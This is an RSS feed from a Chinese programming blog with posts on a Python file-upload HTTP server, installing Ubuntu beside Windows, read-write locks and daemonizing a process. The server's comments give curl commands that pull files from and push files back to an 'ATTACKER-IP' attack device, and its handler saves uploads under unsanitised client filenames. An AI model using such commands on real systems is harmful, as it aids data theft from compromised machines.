﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>BlogJava-so true-随笔分类-Linux</title><link>http://www.blogjava.net/bacoo/category/40267.html</link><description>心怀未来，开创未来！</description><language>zh-cn</language><lastBuildDate>Mon, 30 Sep 2024 16:58:17 GMT</lastBuildDate><pubDate>Mon, 30 Sep 2024 16:58:17 GMT</pubDate><ttl>60</ttl><item><title>http_server supports download/upload</title><link>http://www.blogjava.net/bacoo/archive/2021/11/20/436058.html</link><dc:creator>so true</dc:creator><author>so true</author><pubDate>Sat, 20 Nov 2021 13:03:00 GMT</pubDate><guid>http://www.blogjava.net/bacoo/archive/2021/11/20/436058.html</guid><wfw:comment>http://www.blogjava.net/bacoo/comments/436058.html</wfw:comment><comments>http://www.blogjava.net/bacoo/archive/2021/11/20/436058.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bacoo/comments/commentRss/436058.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bacoo/services/trackbacks/436058.html</trackback:ping><description><![CDATA[<div><div><div style="background-color:#eeeeee;font-size:13px;border:1px solid #CCCCCC;padding-right: 5px;padding-bottom: 4px;padding-left: 4px;padding-top: 4px;width: 98%;word-break:break-all"><!--<br /><br />Code highlighting produced by Actipro CodeHighlighter (freeware)<br />http://www.CodeHighlighter.com/<br /><br />--><span style="color: #008000; ">#</span><span style="color: #008000; ">!/usr/env&nbsp;python3</span><span style="color: #008000; "><br /></span><span style="color: #0000FF; ">import</span>&nbsp;http.server<br /><span style="color: #0000FF; ">import</span>&nbsp;socketserver<br /><span style="color: #0000FF; ">import</span>&nbsp;io<br /><span style="color: #0000FF; ">import</span>&nbsp;cgi<br /><br /><span style="color: #008000; ">#</span><span style="color: #008000; ">&nbsp;&nbsp;Download&nbsp;a&nbsp;file&nbsp;from&nbsp;your&nbsp;attack&nbsp;device:</span><span style="color: #008000; "><br />#</span><span style="color: #008000; ">curl&nbsp;-O&nbsp;http://&lt;ATTACKER-IP&gt;:8000/&lt;FILENAME&gt;</span><span style="color: #008000; "><br /></span><br /><span style="color: #008000; ">#</span><span style="color: #008000; ">&nbsp;&nbsp;Upload&nbsp;a&nbsp;file&nbsp;back&nbsp;to&nbsp;your&nbsp;attack&nbsp;device:</span><span style="color: #008000; "><br />#</span><span style="color: #008000; ">curl&nbsp;-F&nbsp;'file=@&lt;FILENAME&gt;'&nbsp;http://&lt;ATTACKER-IP&gt;:8000/</span><span style="color: #008000; "><br /></span><br /><span style="color: #008000; ">#</span><span style="color: #008000; ">&nbsp;&nbsp;Multiple&nbsp;file&nbsp;upload&nbsp;supported,&nbsp;just&nbsp;add&nbsp;more&nbsp;-F&nbsp;'file=@&lt;FILENAME&gt;'</span><span style="color: #008000; "><br />#</span><span style="color: #008000; ">&nbsp;&nbsp;parameters&nbsp;to&nbsp;the&nbsp;command&nbsp;line.</span><span style="color: #008000; "><br />#</span><span style="color: #008000; ">curl&nbsp;-F&nbsp;'file=@&lt;FILE1&gt;'&nbsp;-F&nbsp;'file=@&lt;FILE2&gt;'&nbsp;http://&lt;ATTACKER-IP&gt;:8000/</span><span style="color: #008000; "><br /></span><br /><span style="color: #008000; ">#</span><span style="color: #008000; ">&nbsp;Change&nbsp;this&nbsp;to&nbsp;serve&nbsp;on&nbsp;a&nbsp;different&nbsp;port</span><span style="color: #008000; "><br /></span>PORT&nbsp;=&nbsp;8000<br /><br /><span style="color: #0000FF; ">class</span>&nbsp;CustomHTTPRequestHandler(http.server.SimpleHTTPRequestHandler):<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">def</span>&nbsp;do_POST(self):<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;r,&nbsp;info&nbsp;=&nbsp;self.deal_post_data()<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">print</span>(r,&nbsp;info,&nbsp;<span style="color: #800000; ">"</span><span style="color: #800000; ">by:&nbsp;</span><span style="color: #800000; ">"</span>,&nbsp;self.client_address)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;f&nbsp;=&nbsp;io.BytesIO()<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;r:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;f.write(b<span style="color: #800000; ">"</span><span style="color: #800000; ">Success\n</span><span style="color: #800000; ">"</span>)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">else</span>:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;f.write(b<span style="color: #800000; ">"</span><span style="color: #800000; ">Failed\n</span><span style="color: #800000; ">"</span>)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;length&nbsp;=&nbsp;f.tell()<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;f.seek(0)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;self.send_response(200)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;self.send_header(<span style="color: #800000; ">"</span><span style="color: #800000; ">Content-type</span><span style="color: #800000; ">"</span>,&nbsp;<span style="color: #800000; ">"</span><span style="color: #800000; ">text/plain</span><span style="color: #800000; ">"</span>)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;self.send_header(<span style="color: #800000; ">"</span><span style="color: #800000; ">Content-Length</span><span style="color: #800000; ">"</span>,&nbsp;str(length))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;self.end_headers()<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;f:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;self.copyfile(f,&nbsp;self.wfile)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;f.close()<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">def</span>&nbsp;deal_post_data(self):<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ctype,&nbsp;pdict&nbsp;=&nbsp;cgi.parse_header(self.headers[<span style="color: #800000; ">'</span><span style="color: #800000; ">Content-Type</span><span style="color: #800000; ">'</span>])<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pdict[<span style="color: #800000; ">'</span><span style="color: #800000; ">boundary</span><span style="color: #800000; ">'</span>]&nbsp;=&nbsp;bytes(pdict[<span style="color: #800000; ">'</span><span style="color: #800000; ">boundary</span><span style="color: #800000; ">'</span>],&nbsp;<span style="color: #800000; ">"</span><span style="color: #800000; ">utf-8</span><span style="color: #800000; ">"</span>)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pdict[<span style="color: #800000; ">'</span><span style="color: #800000; ">CONTENT-LENGTH</span><span style="color: #800000; ">'</span>]&nbsp;=&nbsp;int(self.headers[<span style="color: #800000; ">'</span><span style="color: #800000; ">Content-Length</span><span style="color: #800000; ">'</span>])<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;ctype&nbsp;==&nbsp;<span style="color: #800000; ">'</span><span style="color: #800000; ">multipart/form-data</span><span style="color: #800000; ">'</span>:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;form&nbsp;=&nbsp;cgi.FieldStorage(&nbsp;fp=self.rfile,&nbsp;headers=self.headers,&nbsp;environ={<span style="color: #800000; ">'</span><span style="color: #800000; ">REQUEST_METHOD</span><span style="color: #800000; ">'</span>:<span style="color: #800000; ">'</span><span style="color: #800000; ">POST</span><span style="color: #800000; ">'</span>,&nbsp;<span style="color: #800000; ">'</span><span style="color: #800000; ">CONTENT_TYPE</span><span style="color: #800000; ">'</span>:self.headers[<span style="color: #800000; ">'</span><span style="color: #800000; ">Content-Type</span><span style="color: #800000; ">'</span>],&nbsp;})<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">print</span>&nbsp;(type(form))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">try</span>:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;isinstance(form[<span style="color: #800000; ">"</span><span style="color: #800000; ">file</span><span style="color: #800000; ">"</span>],&nbsp;list):<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">for</span>&nbsp;record&nbsp;<span style="color: #0000FF; ">in</span>&nbsp;form[<span style="color: #800000; ">"</span><span style="color: #800000; ">file</span><span style="color: #800000; ">"</span>]:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;open(<span style="color: #800000; ">"</span><span style="color: #800000; ">./%s</span><span style="color: #800000; ">"</span>%record.filename,&nbsp;<span style="color: #800000; ">"</span><span style="color: #800000; ">wb</span><span style="color: #800000; ">"</span>).write(record.file.read())<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">else</span>:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;open(<span style="color: #800000; ">"</span><span style="color: #800000; ">./%s</span><span style="color: #800000; ">"</span>%form[<span style="color: #800000; ">"</span><span style="color: #800000; ">file</span><span style="color: #800000; ">"</span>].filename,&nbsp;<span style="color: #800000; ">"</span><span style="color: #800000; ">wb</span><span style="color: #800000; ">"</span>).write(form[<span style="color: #800000; ">"</span><span style="color: #800000; ">file</span><span style="color: #800000; ">"</span>].file.read())<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">except</span>&nbsp;IOError:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>&nbsp;(False,&nbsp;<span style="color: #800000; ">"</span><span style="color: #800000; ">Can't&nbsp;create&nbsp;file&nbsp;to&nbsp;write,&nbsp;do&nbsp;you&nbsp;have&nbsp;permission&nbsp;to&nbsp;write?</span><span style="color: #800000; ">"</span>)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>&nbsp;(True,&nbsp;<span style="color: #800000; ">"</span><span style="color: #800000; ">Files&nbsp;uploaded</span><span style="color: #800000; ">"</span>)<br /><br />Handler&nbsp;=&nbsp;CustomHTTPRequestHandler<br /><span style="color: #0000FF; ">try</span>:<br />&nbsp;&nbsp;&nbsp;&nbsp;server&nbsp;=&nbsp;socketserver.TCPServer((<span style="color: #800000; ">""</span>,&nbsp;PORT),&nbsp;Handler)<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #008000; ">#</span><span style="color: #008000; ">&nbsp;Activate&nbsp;the&nbsp;server;&nbsp;this&nbsp;will&nbsp;keep&nbsp;running&nbsp;until&nbsp;you</span><span style="color: #008000; "><br /></span>&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #008000; ">#</span><span style="color: #008000; ">&nbsp;interrupt&nbsp;the&nbsp;program&nbsp;with&nbsp;Ctrl-C</span><span style="color: #008000; "><br /></span>&nbsp;&nbsp;&nbsp;&nbsp;server.serve_forever()<br /><span style="color: #0000FF; ">except</span>:<br />&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">pass</span><br /><span style="color: #0000FF; ">finally</span>:<br />&nbsp;&nbsp;&nbsp;&nbsp;server.close()</div></div></div><img src ="http://www.blogjava.net/bacoo/aggbug/436058.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bacoo/" target="_blank">so true</a> 2021-11-20 21:03 <a href="http://www.blogjava.net/bacoo/archive/2021/11/20/436058.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Dell G3 Win10 SDD+HDD硬盘EFI引导不用U盘安装Ubuntu</title><link>http://www.blogjava.net/bacoo/archive/2019/08/19/434461.html</link><dc:creator>so true</dc:creator><author>so true</author><pubDate>Mon, 19 Aug 2019 02:26:00 GMT</pubDate><guid>http://www.blogjava.net/bacoo/archive/2019/08/19/434461.html</guid><wfw:comment>http://www.blogjava.net/bacoo/comments/434461.html</wfw:comment><comments>http://www.blogjava.net/bacoo/archive/2019/08/19/434461.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bacoo/comments/commentRss/434461.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bacoo/services/trackbacks/434461.html</trackback:ping><description><![CDATA[<div></div><div>1. Win10关闭快速启动；</div><div>2. Win10关闭BitLocker；</div><div>3. Win10下压缩磁盘，留出一块未分配的区域X用于安装ubuntu，再搞出一个3GB的FAT32分区，把下载好的iso镜像释放到里面；</div><div>4. BIOS关闭Secure Boot；</div><div>5. BIOS关闭SATA的RAID，设置为AHCI；</div><div>6. 启动时F12，选择那个3GB的FAT32启动（默认会自动探测到，否则在BOOT SEQUENCE里手动增加一下）；</div><div>7. 选择try Ubuntu进去进行安装；</div><div>8. 安装前先sudo umount -l /dev/xxx, xxx是光盘镜像文件所在的盘，以避免安装过程卡在detecting file systems阶段不动；</div><div>9. 安装类型选择其他选项；</div><div>10. 在预留空间X上分50GB给/，分X-80给/home，分30给swap；</div><div>11. 安装启动引导器的设备，选择Windows Boot Manager所在的分区（分区类型是EFI）；</div><div>12. 如果出现"The 'grub-efi-amd64-signed' package failed to install into /target/."之类的错误，是因为缺包，重新安装，勾选开启网络并允许下载包的选项进行安装即可；<br /><br />参考文章：<br /><div>https://blog.csdn.net/github_37603222/article/details/70833565</div></div><div></div><img src ="http://www.blogjava.net/bacoo/aggbug/434461.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bacoo/" target="_blank">so true</a> 2019-08-19 10:26 <a href="http://www.blogjava.net/bacoo/archive/2019/08/19/434461.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>c++14 transducer</title><link>http://www.blogjava.net/bacoo/archive/2019/05/09/433762.html</link><dc:creator>so true</dc:creator><author>so true</author><pubDate>Thu, 09 May 2019 10:53:00 GMT</pubDate><guid>http://www.blogjava.net/bacoo/archive/2019/05/09/433762.html</guid><wfw:comment>http://www.blogjava.net/bacoo/comments/433762.html</wfw:comment><comments>http://www.blogjava.net/bacoo/archive/2019/05/09/433762.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bacoo/comments/commentRss/433762.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bacoo/services/trackbacks/433762.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: Code highlighting produced by Actipro CodeHighlighter (freeware)http://www.CodeHighlighter.com/-->&nbsp; 1&nbsp;/*&nbsp;&nbsp;2&nbsp;&nbsp;*&nbsp;transducer.cpp&nbsp;&nbsp;3&nbsp;&nbsp;*&nbsp;&nbsp;4&...&nbsp;&nbsp;<a href='http://www.blogjava.net/bacoo/archive/2019/05/09/433762.html'>阅读全文</a><img src ="http://www.blogjava.net/bacoo/aggbug/433762.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bacoo/" target="_blank">so true</a> 2019-05-09 18:53 <a href="http://www.blogjava.net/bacoo/archive/2019/05/09/433762.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>read-write lock</title><link>http://www.blogjava.net/bacoo/archive/2018/05/14/433212.html</link><dc:creator>so true</dc:creator><author>so true</author><pubDate>Mon, 14 May 2018 04:07:00 GMT</pubDate><guid>http://www.blogjava.net/bacoo/archive/2018/05/14/433212.html</guid><wfw:comment>http://www.blogjava.net/bacoo/comments/433212.html</wfw:comment><comments>http://www.blogjava.net/bacoo/archive/2018/05/14/433212.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bacoo/comments/commentRss/433212.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bacoo/services/trackbacks/433212.html</trackback:ping><description><![CDATA[（一）当前被读锁占着<br /> &nbsp;&nbsp;&nbsp;&nbsp;1。如果读优先(默认是PTHREAD_RWLOCK_PREFER_READER_NP，即读优先)，那么等着的读请求可以快速拿到锁，写一直被饿着（直到没有任何等待获取读锁的情况下，写才能拿到写锁）；<br /> &nbsp;&nbsp;&nbsp;&nbsp;2。如果写优先，那么读和写都等着，一但前面的读释放了锁，写立刻就会优先读来拿到锁；<br /> （二）当前被写锁占着<br /> &nbsp;&nbsp;&nbsp;&nbsp;不论谁优先，都需要把所有等着的写都服务完，才会给读机会，所以写多读少的情况下，就应该用互斥锁了；<br /><br />测试程序：<br />#include &lt;iostream&gt;<div>#include &lt;string&gt;</div><div>#include &lt;fstream&gt;</div><div>#include &lt;sstream&gt;</div><div>#include &lt;stdint.h&gt;</div><div>#include &lt;pthread.h&gt;</div><div>#include &lt;vector&gt;</div><div>#include &lt;map&gt;</div><div>#include &lt;set&gt;</div><div></div><div>using namespace std;</div><div></div><div>long g_idx = 0;</div><div></div><div>class ThreadRwLock {</div><div>private:</div><div>&nbsp; &nbsp; pthread_rwlock_t m_rw_mutex;</div><div></div><div>public:</div><div>&nbsp; &nbsp; ThreadRwLock() {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; pthread_rwlockattr_t attr;</div><div></div><div>&nbsp; &nbsp; &nbsp; &nbsp; // 设置写优先</div><div>&nbsp; &nbsp; &nbsp; &nbsp; pthread_rwlockattr_init(&amp;attr);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; //pthread_rwlockattr_setkind_np(&amp;attr, PTHREAD_RWLOCK_PREFER_WRITER_NONRECURSIVE_NP);</div><div></div><div>&nbsp; &nbsp; &nbsp; &nbsp; pthread_rwlock_init(&amp;m_rw_mutex, &amp;attr);</div><div>&nbsp; &nbsp; }</div><div></div><div>&nbsp; &nbsp; ~ThreadRwLock() {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; pthread_rwlock_destroy(&amp;m_rw_mutex);</div><div>&nbsp; &nbsp; }</div><div></div><div>&nbsp; &nbsp; void rdlock() {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; pthread_rwlock_rdlock(&amp;m_rw_mutex);</div><div>&nbsp; &nbsp; }</div><div></div><div>&nbsp; &nbsp; void wrlock() {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; pthread_rwlock_wrlock(&amp;m_rw_mutex);</div><div>&nbsp; &nbsp; }</div><div></div><div>&nbsp; &nbsp; int tryrdlock() {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; return pthread_rwlock_tryrdlock(&amp;m_rw_mutex);</div><div>&nbsp; &nbsp; }</div><div></div><div>&nbsp; &nbsp; int trywrlock() {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; return pthread_rwlock_trywrlock(&amp;m_rw_mutex);</div><div>&nbsp; &nbsp; }</div><div></div><div>&nbsp; &nbsp; void unlock() {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; pthread_rwlock_unlock(&amp;m_rw_mutex);</div><div>&nbsp; &nbsp; }</div><div>};</div><div></div><div>ThreadRwLock g_lock;</div><div></div><div>void* thread_routine(void* arg) {</div><div>&nbsp; &nbsp; long is_write = (long)arg;</div><div>&nbsp; &nbsp; if (is_write) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; printf("%lu wait write lock\n", pthread_self()); fflush(stdout);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; g_lock.wrlock();</div><div>&nbsp; &nbsp; &nbsp; &nbsp; long idx = __sync_add_and_fetch(&amp;g_idx, 1);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; printf("%lu get write lock, %ld\n", pthread_self(), idx); fflush(stdout);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; sleep(5);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; g_lock.unlock();</div><div>&nbsp; &nbsp; } else {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; printf("%lu wait read lock\n", pthread_self()); fflush(stdout);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; g_lock.rdlock();</div><div>&nbsp; &nbsp; &nbsp; &nbsp; long idx = __sync_add_and_fetch(&amp;g_idx, 1);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; printf("%lu get read lock, %ld\n", pthread_self(), idx); fflush(stdout);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; sleep(5);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; g_lock.unlock();</div><div>&nbsp; &nbsp; }</div><div>&nbsp; &nbsp; return NULL;</div><div>}</div><div></div><div>int main(int argc, char* argv[]) {</div><div>&nbsp; &nbsp; pthread_t tid = 0;</div><div>&nbsp; &nbsp; pthread_create(&amp;tid, NULL, thread_routine, (void*)0);</div><div>&nbsp; &nbsp; pthread_create(&amp;tid, NULL, thread_routine, (void*)0);</div><div>&nbsp; &nbsp; pthread_create(&amp;tid, NULL, thread_routine, (void*)0);</div><div>&nbsp; &nbsp; pthread_create(&amp;tid, NULL, thread_routine, (void*)0);</div><div>&nbsp; &nbsp; pthread_create(&amp;tid, NULL, thread_routine, (void*)0);</div><div>&nbsp; &nbsp; pthread_create(&amp;tid, NULL, thread_routine, (void*)1);</div><div></div><div>&nbsp; &nbsp; getchar(); //让程序暂停，等待键盘敲入一个字节后，接着走</div><div></div><div>&nbsp; &nbsp; pthread_create(&amp;tid, NULL, thread_routine, (void*)1);</div><div>&nbsp; &nbsp; sleep(2); //确保写锁被优先拿到</div><div>&nbsp; &nbsp; pthread_create(&amp;tid, NULL, thread_routine, (void*)0);</div><div>&nbsp; &nbsp; pthread_create(&amp;tid, NULL, thread_routine, (void*)0);</div><div>&nbsp; &nbsp; pthread_create(&amp;tid, NULL, thread_routine, (void*)1);</div><div>&nbsp; &nbsp; pthread_create(&amp;tid, NULL, thread_routine, (void*)1);</div><div>&nbsp; &nbsp; pthread_create(&amp;tid, NULL, thread_routine, (void*)1);</div><div>&nbsp; &nbsp; pthread_create(&amp;tid, NULL, thread_routine, (void*)1);</div><div>&nbsp; &nbsp; pthread_create(&amp;tid, NULL, thread_routine, (void*)1);</div><div>&nbsp; &nbsp; pthread_create(&amp;tid, NULL, thread_routine, (void*)0);</div><div>&nbsp; &nbsp; pthread_create(&amp;tid, NULL, thread_routine, (void*)0);</div><div>&nbsp; &nbsp; pthread_create(&amp;tid, NULL, thread_routine, (void*)1);</div><div>&nbsp; &nbsp; pthread_create(&amp;tid, NULL, thread_routine, (void*)1);</div><div>&nbsp; &nbsp; pthread_create(&amp;tid, NULL, thread_routine, (void*)1);</div><div>&nbsp; &nbsp; pthread_create(&amp;tid, NULL, thread_routine, (void*)1);</div><div>&nbsp; &nbsp; pthread_create(&amp;tid, NULL, thread_routine, (void*)1);</div><div>&nbsp; &nbsp; pthread_create(&amp;tid, NULL, thread_routine, (void*)1);</div><div>&nbsp; &nbsp; pthread_create(&amp;tid, NULL, thread_routine, (void*)1);</div><div>&nbsp; &nbsp; pthread_create(&amp;tid, NULL, thread_routine, (void*)1);</div><div>&nbsp; &nbsp; pthread_create(&amp;tid, NULL, thread_routine, (void*)1);</div><div>&nbsp; &nbsp; pthread_create(&amp;tid, NULL, thread_routine, (void*)1);</div><div>&nbsp; &nbsp; pthread_create(&amp;tid, NULL, thread_routine, (void*)0);</div><div>&nbsp; &nbsp; pthread_create(&amp;tid, NULL, thread_routine, (void*)0);</div><div></div><div>&nbsp; &nbsp; getchar();</div><div>&nbsp; &nbsp; return 0;</div><div>}</div><div></div><img src ="http://www.blogjava.net/bacoo/aggbug/433212.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bacoo/" target="_blank">so true</a> 2018-05-14 12:07 <a href="http://www.blogjava.net/bacoo/archive/2018/05/14/433212.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>daemonize</title><link>http://www.blogjava.net/bacoo/archive/2018/04/12/433150.html</link><dc:creator>so true</dc:creator><author>so true</author><pubDate>Thu, 12 Apr 2018 10:36:00 GMT</pubDate><guid>http://www.blogjava.net/bacoo/archive/2018/04/12/433150.html</guid><wfw:comment>http://www.blogjava.net/bacoo/comments/433150.html</wfw:comment><comments>http://www.blogjava.net/bacoo/archive/2018/04/12/433150.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bacoo/comments/commentRss/433150.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bacoo/services/trackbacks/433150.html</trackback:ping><description><![CDATA[<div>#include &lt;sys/param.h&gt;</div><div>#include &lt;signal.h&gt;</div><div>#include &lt;stdlib.h&gt;</div><div>#include &lt;fcntl.h&gt;</div><div>#include &lt;unistd.h&gt;</div><div>#include &lt;sys/stat.h&gt;</div><div></div><div>void daemonize() {</div><div>&nbsp; &nbsp; int pid = -1, fd = -1;</div><div></div><div>&nbsp; &nbsp; // 1.转变为后台进程</div><div>&nbsp; &nbsp; if ((pid = fork()) == -1) exit(1);</div><div>&nbsp; &nbsp; if (pid != 0) exit(0); // 父进程（前台进程）退出</div><div></div><div>&nbsp; &nbsp; // 2.离开原先的进程组，会话</div><div>&nbsp; &nbsp; if (setsid() == -1) exit(1); // 开启一个新会话</div><div></div><div>&nbsp; &nbsp; // 3.禁止再次打开控制终端</div><div>&nbsp; &nbsp; if ((pid = fork()) == -1) exit(1);</div><div>&nbsp; &nbsp; if (pid != 0) exit(0); // 父进程（会话领头进程）退出</div><div></div><div>&nbsp; &nbsp; // 4.关闭打开的文件描述符，避免浪费系统资源</div><div>&nbsp; &nbsp; for (int i = 0; i &lt; NOFILE; i++)</div><div>&nbsp; &nbsp; &nbsp; &nbsp; close(i);</div><div></div><div>&nbsp; &nbsp; // 5.改变当前的工作目录，避免卸载不了文件系统</div><div>&nbsp; &nbsp; if (chdir("/") == -1) exit(1);</div><div></div><div>&nbsp; &nbsp; // 6.重设文件掩码，防止某些属性被父进程屏蔽，也有设置为0027的（守护进程创建的临时文件不希望被其他用户查看）</div><div>&nbsp; &nbsp; umask(0);</div><div></div><div>&nbsp; &nbsp; // 7.重定向标准输入，输出，错误流，因为守护进程没有控制终端</div><div>&nbsp; &nbsp; // 如果只是把0、1、2都close了，那么守护进程里新创建的文件fd会用到0、1、2，如果用户的代码里有用到printf/cout之类的，那就会把数据打到新创建的文件中，这样就会产生混淆</div><div>&nbsp; &nbsp; if ((fd = open("/dev/null", O_RDWR)) == -1) exit(1); // 打开一个指向/dev/null的文件描述符</div><div>&nbsp; &nbsp; dup2(fd, STDIN_FILENO);</div><div>&nbsp; &nbsp; dup2(fd, STDOUT_FILENO);</div><div>&nbsp; &nbsp; dup2(fd, STDERR_FILENO);</div><div>&nbsp; &nbsp; close(fd);</div><div></div><div>&nbsp; &nbsp; // 8.本守护进程的子进程若不需要返回信息，那么交给init进程回收，避免产生僵尸进程，否则子进程退出后将成为僵尸进程</div><div>&nbsp; &nbsp; if (signal(SIGCHLD, SIG_IGN) == SIG_ERR) exit(1);</div><div>}</div><div><br 